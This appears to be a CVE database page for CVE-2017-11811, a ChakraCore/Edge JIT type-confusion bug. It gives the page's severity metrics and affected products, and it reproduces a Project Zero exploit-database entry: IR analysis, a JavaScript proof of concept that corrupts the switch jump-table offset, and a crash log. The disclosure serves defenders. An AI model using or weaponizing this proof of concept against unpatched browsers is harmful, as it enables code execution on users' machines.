CVE-2017-11811 : Detail

CVE-2017-11811

7.5
/
High
Overflow
74.69%V4
Network
2017-10-13
11h00 +00:00
2017-11-18
09h57 +00:00
CVE.org
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CVE Descriptions

ChakraCore and Microsoft Edge in Microsoft Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an attacker to execute arbitrary code in the context of the current user, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11792, CVE-2017-11793, CVE-2017-11796, CVE-2017-11797, CVE-2017-11798, CVE-2017-11799, CVE-2017-11800, CVE-2017-11801, CVE-2017-11802, CVE-2017-11804, CVE-2017-11805, CVE-2017-11806, CVE-2017-11807, CVE-2017-11808, CVE-2017-11809, CVE-2017-11810, CVE-2017-11812, and CVE-2017-11821.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43152

Publication date : 2017-11-15 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1341&desc=3 Let's start with a switch statement and its IR code for JIT. JS: for (let i = 0; i <; 100; i++) { switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } } IRs before Type Specialization: s26.var = Ld_A s24.var - "i" #0011 Bailout: #0011 (BailOutExpectingInteger) BrLt_A $L2, s26.var, s5.var #0070 $L9: #0070 BrGt_A $L2, s26.var, s23.var #0070 $L8: #0070 s28.var = Sub_A s26.var, 2 (0x2).i32 #0070 // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable. MultiBr ..., s28.var #0070 IRs after Type Specialization: s52(s26).i32 = Ld_A s51(s24).i32 - "i" #0011 BrLt_I4 $L2, s51(s24).i32, 2 (0x2).i32 #0070 $L9: #0070 BrGt_I4 $L2, s51(s24).i32, 38 (0x26).i32 #0070 $L8: #0070 s53(s28).i32 = Sub_I4 s51(s24).i32, 2 (0x2).i32 #0070 MultiBr ..., s53(s28).i32! #0070 MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger. In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32. What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j" in the CSE phase. JS: for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } } IR: Line 3: let j = i - 2; Col 9: ^ StatementBoundary #2 #0013 s55(s28).i32 = Sub_I4 s54(s24).i32, 2 (0x2).i32 #0013 Line 4: switch (i) { Col 9: ^ StatementBoundary #3 #001a // BailOutExpectingInteger BrLt_I4 $L2, s54(s24).i32, 2 (0x2).i32 #0079 BrGt_I4 $L2, s54(s24).i32, 38 (0x26).i32 #0079 MultiBr ..., s55(s28).i32! #0079 The offset variable is replaced with "j" that is not ensured to be of type Int32. CORRECTION: The bug was that it tried to ensure the type using BailOutExpectingInteger, even if "i" was not always of type Int32. It was bypassed with the CSE phase. So if we created a case where "j" couldn't be of type Int32, type confusion occurred. JS: for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } if (i == 39) i = 'aaaa'; } IR: Line 3: let j = i - 2; Col 9: ^ StatementBoundary #2 #0013 s30[LikelyCanBeTaggedValue_Int].var = Sub_A s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013 s27[LikelyCanBeTaggedValue_Int].var = Ld_A s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017 Line 4: switch (i) { Col 9: ^ StatementBoundary #3 #001a s63(s26).i32 = FromVar s26[LikelyCanBeTaggedValue_Int_Number].var #001a Bailout: #001a (BailOutExpectingInteger) BrLt_I4 $L4, s63(s26).i32, 2 (0x2).i32 #0079 BrGt_I4 $L4, s63(s26).i32, 38 (0x26).i32 #0079 MultiBr ..., s27[LikelyCanBeTaggedValue_Int].var #0079 It ended up to use "j" of type Var as the offset variable. PoC: */ function opt() { for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } if (i == 90) { i = 'x'; } } } function main() { for (let i = 0; i < 100; i++) { opt(); } } main(); /* Crash Log: RAX: 0x1 RBX: 0x7ffff7e04824 --> 0x100000000 RCX: 0x3 RDX: 0x7ffff0b20667 (loope 0x7ffff0b2066d) RSI: 0x80000001 RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push rbp) RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...) RSP: 0x7fffffff20c0 --> 0x1111015500000002 RIP: 0x7ffff0b204da (mov rdx,QWORD PTR [rdx+r13*8]) R8 : 0x0 R9 : 0x0 R10: 0x7ffff0b20400 (movabs rax,0x555555879018) R11: 0x206 R12: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f R13: 0x1000000000001 << Var 1 R14: 0x1000000000003 R15: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>: push rbp) EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff0b204cb: cmp ecx,0x26 0x7ffff0b204ce: jg 0x7ffff0b204e1 0x7ffff0b204d0: movabs rdx,0x7ffff0b20667 => 0x7ffff0b204da: mov rdx,QWORD PTR [rdx+r13*8] 0x7ffff0b204de: rex.W jmp rdx We can simply think as follows. Before the CSE phase: Var j = ToVar(i - 2); int32_t offset = i - 2; jmp jump_table[offset]; After the CSE phase: Var j = ToVar(i - 2); jmp jump_table[j]; */

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version *

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_server_2016 >> Version *

Configuraton 0

Microsoft>>Chakracore >> Version To (excluding) 1.7.3

References

http://www.securitytracker.com/id/1039529
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/101138
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43152/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.